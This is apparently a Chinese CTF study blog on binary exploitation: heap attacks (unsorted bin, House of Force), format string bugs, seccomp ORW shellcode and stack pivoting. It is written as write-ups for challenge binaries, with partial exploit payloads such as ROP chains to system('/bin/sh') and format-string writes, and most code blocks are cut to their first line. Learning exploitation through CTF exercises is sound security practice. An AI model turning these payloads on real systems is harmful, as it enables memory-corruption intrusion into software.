1 | * ************************************* |
1 | ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ |
1 | ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ |
1 | ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ |
1 | linkpwn@linkpwn-VMware-Virtual-Platform:~$ nc pwn.challenge.ctf.show 28266 |
写着写着发现一直写这个营养价值太低了，先停下把，以后发现了营养再来写。
原理学习:unsorted bin attack就是能把某个地址的值改成很大，但是这个很大的值又不可控。（这里的ctfshow的pwn144涉及到了这个手法，但是不完全，以后碰到在接着总结）
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
1 | unsigned __int64 edit_heap() |
edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。
攻击思路：
攻击原理：利用 malloc 从 Unsorted Bin 中取出一个 chunk（称为 victim）时，对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针，欺骗分配器，让它错误地更新链表，从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置（chunk header），并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。
这里附一个关键步骤详解
1 | 1.准备 Victim Chunk 并放入 Unsorted Bin: |
exp
1 | from pwn import * |
1 | gdb.attach(r) |
原理：
malloc 在从 Top Chunk 分配内存时，仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制（new_top = old_top + nb）。通过篡改 Top Chunk 的 size 字段为一个极大值（通常是 -1，即 0xFFFFFFFFFFFFFFFF），并精心构造一个超大的 nb，使得计算出的 new_top 指向攻击者期望的目标地址。malloc(nb) 中的 nb 可以非常大）。size 字段，将其修改为一个极大的值（例如 0xFFFFFFFFFFFFFFFF）。old_top):用于计算所需的偏移量。target_addr): 希望将 Top Chunk 移动到的地址。target_addr) 本身位于堆内存区域内（例如，想要覆盖堆上的某个特定结构体或指针），那么攻击者不一定需要知道 old_top 和 target_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。例题：
ctfshow pwn143
edit()存在漏洞
1 | unsigned __int64 edit() |
这个edit函数没有检查输入长度的大小，完全由自己决定，存在堆溢出。
1 | void __noreturn fffffffffffffffffffffffffffffffffflag() |
存在后门函数。
所以我利用堆溢出，把top_chunk的size改成极大值，再把v4[1]的地址换成后门函数的地址就可以得到flag了，(为什么是v4[1]呢，因为
执行edit前都会执行v4[1]，把v4[1]的地址换成后门函数的地址，就可以执行后门函数了)。
exp
1 | from pwn import * |
再动调中更容易理解
add(0x30, ‘chunk0’)
1 | pwndbg> heap |
1 | pwndbg> x/30gx 0x91fd290 |
1 | pwndbg> telescope 0x0400857 |
1 | pwndbg> telescope 0x400876 |
edit(0, len(payload), payload)
1 | pwndbg> heap |
由于我的libc版本较高，检查到堆溢出可能就崩掉了就无法继续了。远程可以打通
这里我就接着解释一些数据怎么来的
1 | 0x30:这个没什么要求换成其他数据也可以 |
强制对齐操作的公式是
1 | nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK |
**req**：用户调用 malloc(req) 时申请的数据大小（即用户需要的内存字节数）。
**SIZE_SZ**：在 64 位系统中为 0x8（表示 sizeof(size_t)）。它常被理解为 chunk 头部（header）大小的一部分，但实际上，header 总大小为 2 * SIZE_SZ = 0x10 字节（包括 prev_size 和 size 字段）。
**MALLOC_ALIGN_MASK**：在 64 位系统中为 0xf（十六进制），对应内存对齐掩码。内存对齐要求通常是 16 字节（即 MALLOC_ALIGN = 16），所以掩码为 16 - 1 = 15（即 0xf）。
**nb**：输出的值，表示实际分配的 chunk 总大小（包括 header 和用户数据区域）。
offset = -0x77 对应 malloc 参数为 0xffffffffffffff89
对齐后实际分配大小：(0xffffffffffffff89 + 8 + 15) & ~15 = 0xffffffffffffffa0
使top chunk回退 0x60 字节
开始网鼎杯的jocker学习
修复sp
可是encrypt函数还是进不去
这是个smc动调解密函数，进入函数后从text:00401500的定义头道endp进行u(undefine)再在定义头p重定义函数。
1 | void __cdecl __noreturn encrypt(char *a1) |
得到加密函数
1 | # 预定义的 unk_403040 数组 |
得到了一半flag，我们刚刚分析的时候有个finally的函数进去看看
1 | int __cdecl finally(char *a1) |
根据最后一个字符 ‘}’ 猜测
1 | encrypted = "%tp&:" |
1 | flag{d07abccf8a410cb37a} |
进行格式化字符串专题的加强，先写一个题目，再重温一下知识点进行总结一下。
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
只有一个格式化字符串漏洞，也只有一个读入。先去查看一下保护
1 | (myenv) linkpwn@linkpwn-VMware-Virtual-Platform:~$ checksec pwn |
没有开启pie，canary开启了，但是我们没用到栈溢出，所以我们不用管canary
因此这个题目的攻击思路就是，先利用格式化字符串泄露libc的基地址，然后再利用one_gadget.。
首先我们利用格式化字符串泄露libc的地址，同时也要利用格式化字符串写入one_gadget。
要利用两次格式化字符串的话，我们就不能让函数执行到 magic = 0;，所以我们必须把printf_ret的地址覆盖为read的地址，方便下次
的读入。
泄露出libc_start_main+xxx的地址可以计算出libc的基地址。
再用one_get工具查出execve(/bin/sh)的偏移，在用格式化字符串漏洞将返回地址写成execve(/bin/sh)的地址就可以getshell了
现在开始正式开始攻击
exp
1 | from pwn import * |
1 | payload = b"%4669c%11$hn" #hex(4669) = 0x123d -->read地址的后两字节 |
可以看到0x7fffffffdd08 = 0x7fffffffdd10 - 0x08从而定位printf_ret的地址。
然后我们可以看到libc_start_main+122的地址在栈上的位置；
0x7fffffffdd78 - 0x7fffffffdd10 = 104，104/8 = 13，此时我们用%19$p就可以泄露出libc_start_main+122的地址，再减去122就可以得到
libc_start_main地址，再用libc_start_main减去偏移就可以得到基地地址了。
然后再%4669c%11$hn进行两字节的写入。将printf_ret的地址改成read的地址。
用one_gdaget命令查execve(/bin/sh)的偏移
1 | linkpwn@linkpwn-VMware-Virtual-Platform:~$ one_gadget libc.so.6 |
1 | one_gadgets = [0xE3AFE, 0xE3B01, 0xE3B04] |
注释：11是怎么算出来的
1 | linkpwn@linkpwn-VMware-Virtual-Platform:~$ ./pwn |
偏移是6,0x28/8 = 5，5 + 6 =11；
写完这题就来总结一下格式化字符串的原理。
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | .text:000000000040121B ; __unwind { |
我们看到了call ___stack_chk_fail，这个是关键。
为什么会有这个呢? —–>因为开启了canary
1 | Arch: amd64-64-little |
查看保护，开启了canary。
利用格式化字符串的任意位置的篡改，我们就可以将 ___stack_chk_fail篡改为main的地址，这样就会进入无限循环
我们先去找到main和___stack_chk_fail的got地址，在篡改的同时还可以利用printf_got泄露printf的地址。
1 | main_addr = 0x40121b |
1 | ----- |
执行这个payload就进入无限循环了，并且泄漏量printf的地址。
根据print的地址，计算出libc的基地址。
此时我就要再次利用格式化字符串，将printf_got的地址改成system的地址，在发送/bin/sh就能获取shell。
1 | io.recvuntil(b"---b") |
1 | payload = b"%" + str(system & 0xff).encode() + b"c%22$hhn" #最低字节写入偏移为的位置 |
1 | io.sendline(b'/bin/sh') |
完整exp
1 | from pwn import * |
现在开始格式化字符串漏洞的知识点的总结。
什么是格式化字符串？
printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。漏洞成因：
printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列，函数会将其解释为格式化说明符。漏洞危害：
1 | %s - 字符串读取 (Read) |
1 | %n - 写入已打印字符数 (Write) |
1 | %hn - 写入已打印字符数 (短整型 - 2字节) (Write) |
1 | %hhn - 写入已打印字符数 (字符 - 1字节) (Write) |
1 | %p, %x, %d - 泄露数据 (Read) |
1 | %k$ - 直接参数访问 (关键!) |
刚刚学完栈迁移📚，发现 sandbox 🧱经常和栈迁移结合，于是就仔细学一下 sandbox 🤓！
💻 Sandbox绕过好像很多，也复杂 😤，这里只好记录一下ORW的学习 📝
当程序开启沙箱保护，禁用一些系统调用，禁用execve等，使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。
orw就是open,read,write这三个函数的简写，打开flag,读取flag,写出flag通过这三步来得到flag。
第一种是利用prctl(),第二种是利用seccomp的库函数
(1) prctl():
在 Linux 系统编程中，prctl 函数结合 PR_SET_SECCOMP 或 PR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp（Secure Computing）沙箱，这是一种限制进程系统调用（syscall）的安全机制。
PR_SET_NO_NEW_PRIVS:
1 | prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限 |
PR_SET_SECCOMP:
严格模式（SECCOMP_MODE_STRICT）：仅允许 read, write, _exit, sigreturn 四个系统调用。
1 | prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); |
过滤器模式（SECCOMP_MODE_FILTER）：自定义允许/拒绝的系统调用列表（通过 BPF 规则）。
1 | struct sock_fprog filter = { ... }; // 定义 BPF 过滤器 |
例子：
1 | struct sock_filter filter[] = { |
(2)seccomp的库函数:例如libseccomp 库
例子：仅允许进程执行 exit_group、read、write 系统调用：
1 |
|
了解完这些，就开始学习如何解决它了(orw)
seccomp-tools可以用来查看沙箱的情况
安装：
1 | sudo apt install gcc ruby-dev |
可以看到那些函数是可以用的。
open()函数：
函数原型
1 |
|
pathname
：
"flag"、"/tmp/test.txt"。flags
：
| 操作符）。| 标志常量 | 十六进制值 | 含义 |
|---|---|---|
O_RDONLY |
0x0 | 只读方式打开文件 |
O_WRONLY |
0x1 | 只写方式打开文件 |
O_RDWR |
0x2 | 读写方式打开文件 |
系统调用号：
sys_open 的系统调用号是 5（十进制），即 0x5。| 关键点 | 内容 |
|---|---|
| 函数名 | open() |
| 功能 | 打开或创建文件 |
| 返回值 | 文件描述符（成功）或 -1（失败） |
| 常用 flag | O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND |
| mode 参数 | 用于指定新文件权限，如 0644 |
| 系统调用号 | 5（Linux x86） |
| 寄存器传参 | eax=5, ebx=filename, ecx=flags, edx=mode |
read()函数：
函数原型：
1 |
|
| 参数名 | 类型 | 含义 |
|---|---|---|
fd |
int |
文件描述符（由 open() 或其他方式获得） |
buf |
void* |
用户空间的缓冲区地址，用来保存读取的数据 |
count |
size_t |
要读取的最大字节数 |
系统调用号：
sys_read 的系统调用号是 3（十进制），即 0x3。1 | 寄存器传参方式（Linux x86）： |
write()函数:
函数原型：
1 |
|
| 参数名 | 类型 | 含义 |
|---|---|---|
fd |
int |
文件描述符（由 open() 或其他方式获得） |
buf |
const void* |
用户空间的缓冲区地址，包含要写入的数据 |
count |
size_t |
要写入的最大字节数 |
系统调用号：
sys_write 的系统调用号是 4（十进制），即 0x4。寄存器传参方式（Linux x86）：
| 寄存器 | 对应参数 |
|---|---|
eax |
系统调用号：4 |
ebx |
文件描述符 fd |
ecx |
缓冲区地址 buf |
edx |
要写入的字节数 count |
首先,看看最简单的orw,在没有开启NX的条件下，可以直接写入这三个函数执行。
第一种直接用汇编写
1 | #0x67616c66根据文件名改动 0x67616c66转ASCII-->flag |
具体解释一下这个汇编代码,根据上面对open，read，write函数的了解，汇编也就很好理解了。
1 | #fd = open("flag", O_RDONLY); |
1 | mov eax, 0x3 ; 调用sys_read (系统调用号3) |
1 | mov eax, 0x4 ; 调用sys_write (系统调用号4) |
还可以通过传参传入flag的位置
1 | #fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定 |
第二种直接利用pwntools
1 | payload = shellcraft.open('flag') # Open 'flag' (fd returned in EAX) |
exp:
1 | from pwn import * |
例题
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | ssize_t sandboxx() |
1 | int gift() |
exp
1 | from pwn import * |
江西省赛
1 | from pwn import * |
今天先写到这✍️，以后还会接着写📖，但是明天就要开始着手学堆了🔥，不然很多比赛都打不了🏆💪。
1 | int sub_400A16() |
1 | line CODE JT JF K |
可以看到orw是可以的，所以我们要先利用read将orw读到
exp:
1 | from pwn import * |
这一部分是标准的orw
1 | orw_shellcode = shellcraft.open("./ctfshow_flag") |
这部分我来详细解释一下
1 | buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax") |
asm(shellcraft.read(0,mmap,100)):这是汇编代码，用于调用read系统调用，从标准输入读取最多100字节的数据到地址0x123000。
asm(“mov rax,0x123000; jmp rax”)：先将0x123000放入rax，然后jmp rax执行shellcode,为什么是sellcode呢等下再说。
p64(jmp_rsp_addr)：将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp
增高0x08。
asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置，jmp rsp就开始执行了。
然后我来看看整个流程。
p.sendline(buf_shellcode)后,栈上
1 | read(0,mmap,100) |
有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了，所以我们才有第二次send。
我们把标准的orw输入后，同理rsp又会回到起始位置开始执行orw，最终得到flag。
📚 看了好几篇栈迁移的文章，🤔 越看越懵，😵💫 感觉自己和没学 pwn 的一样。
(自己画的，有错误望指正)
1 | call func() |
如果要保持栈平衡就要在call退出的时候执行相反的操作
1 | leave |
什么时候用栈迁移：
(1).有栈溢出漏洞。
(2).溢出的长度不够。
所以我们就要把栈迁移到一个长度够大的区域(通常是bss段)，那怎么把栈迁移呢，主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址)，从而控制程序的执行流。
栈迁移最重要就是怎么利用leave；ret进行栈迁移
1 | leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了，他们指向同一个内容 |
1 | ret //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元 |
了解了栈的结构和leave;ret的执行过程后，就可以来了解栈迁移的原理了
栈迁移的原理：栈迁移一共要执行两次leave;ret
1.首先我们先了解一下此时栈上的分布情况
1 | 主要如下图，这里注释： |
2.第一次leave;ret:
1 | 由上面的leave;ret的执行过程，首先leave：mov ebp;esp,让ebp和esp在同一个位置；leave: pop ebp,此时我们把ebp所指的内容换成 |
3.第二次leave;ret:
1 | 同样是leave:mov ebp;esp,让ebp和esp在同一个位置；但是此时ebp指向的是需要迁移到的位置，所以esp此时指向的也是需要迁移到的位 |
了解完了32位的栈溢出，现在来了解64位栈溢出
64位和32位栈的结构是相似的，主要不同就是调用函数时传参的不同
计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够，要用到栈迁移。
1 | from pwn import * |
(1)用ROPgadget
1 | ROPgadget --binary ciscn_2019_es_2 --only "leave|ret" |
(2)在IDA的汇编代码里面找
在vul函数中有两个溢出点，所以我们就需要先通过第一个溢出泄露出ebp的地址，再构造栈迁移的payload
(1)首先泄露ebp的地址
1 | from pwn import * |
(2)构造栈迁移的payload
1 | buf=ebp-0x38 |
buf=ebp-0x38 通过调试可以得到，我们最后调试，先解释payload
1 | payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave) |
0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168，正好0x28 + 0x10 = 0x38;
64位，只开了NX,先给出exp
1 | #coding=utf8 |
这个很明显要栈迁移了
这个附件里面没有找到system的地址，所以我们只能通过泄露libc来打了
1 | payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload |
发送payload后，就会泄露libc
1 | payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) |
这里记录一个难的栈迁移
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
0x90 - 0x80 = 0x10典型的栈迁移,先给exp
1 | from pwn import * |
1 | 这里只有一个read函数，所以我们迁到栈上几乎是不可能的了，所以我们就想到迁到bss的段上 |
这里把payload怎么构造和解题思路详细写一下。
解题思路
1 | 先将栈迁到bss的段上，返回地址覆盖为read函数，再次读入时泄露puts的地址，返回地址依然为read,再次读入getshell。 |
详细解释一下这个payload
1 | pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) |
read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了，将栈迁移到bss + offset的位置进行读入。
1 | payload = flat( |
0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage；利用pop_rbp再次利用read。
cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。
bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢，首先read读入这串payload后先执行 0x401146,
elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址，然后pop_rbp。rbp就储存了bss+offset + 0x200的位置，接着执行0x40119e，从bss + offset +
0x200的位置开始read。
1 | payload = flat( |
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)
payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。
这题不难记录一下题目和exp就可以了
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | ssize_t vul_function() |
exp
1 | from pwn import * |
这题不难也记录一下题目和exp就可以了
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
exp:
1 | from pwn import * |
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
这里主要利用了栈迁移，进行第一次泄露puts的地址，并且返回main。再次进行栈迁移，执行ROP链getshell
1 | from pwn import * |
1 | ROPgadget --binary libc.so.6 --only "pop|ret" #查找pop_rdi的偏移 |
栈迁移+ORW
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
0x98 - 0x80 -0x08 = 16太短栈迁移
1 | from pwn import * |
开始直接用system(/bin/sh)打失败了
1 | line CODE JT JF K |
execve被禁了
用ORW
1 | payload = ( |
20*8 = 160 >0x80所以不能，最终用open + sendflie成功
1 | from pwn import * |
这题就是0x210可以用ORW,我一开始用sendflie可是没通。
1 | ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret" |
感觉是不是0xf66导致pop rcx不能用，就直接用orw了
1 | from pwn import * |
main.py
1 | import tkinter as tk |
beautiful.py
1 | import tkinter as tk |
rc4.py
1 | def decrypt(ciphertext, key): |
tea.py
1 | def decrypt1(ciphertext, key): |
xor1.py
1 | # xor1.py |
xtea.py
1 | def decrypt1(ciphertext, key): |
xxtea.py
1 | def decrypt(ciphertext, key): |
package.py
1 | import os |
运行
1 | python3 package.py #mp4可自己选择把脚本中的mp4换成你自己mp4的名字；或者你直接把自己的MP4名字换成富士山的星空 |
运行成功在dist下有个exe，点击运行即可
这里主要记一下seed的覆盖，srand(seed);v2 = rand() % 6 + 1;其中rand的生成是依靠seed的，我们只要找到seed与输入值之间的偏移将seed修改为我们想要的值，就可以预测rand的生成
这是攻防世界dice_game的exp
1 | from pwn import * |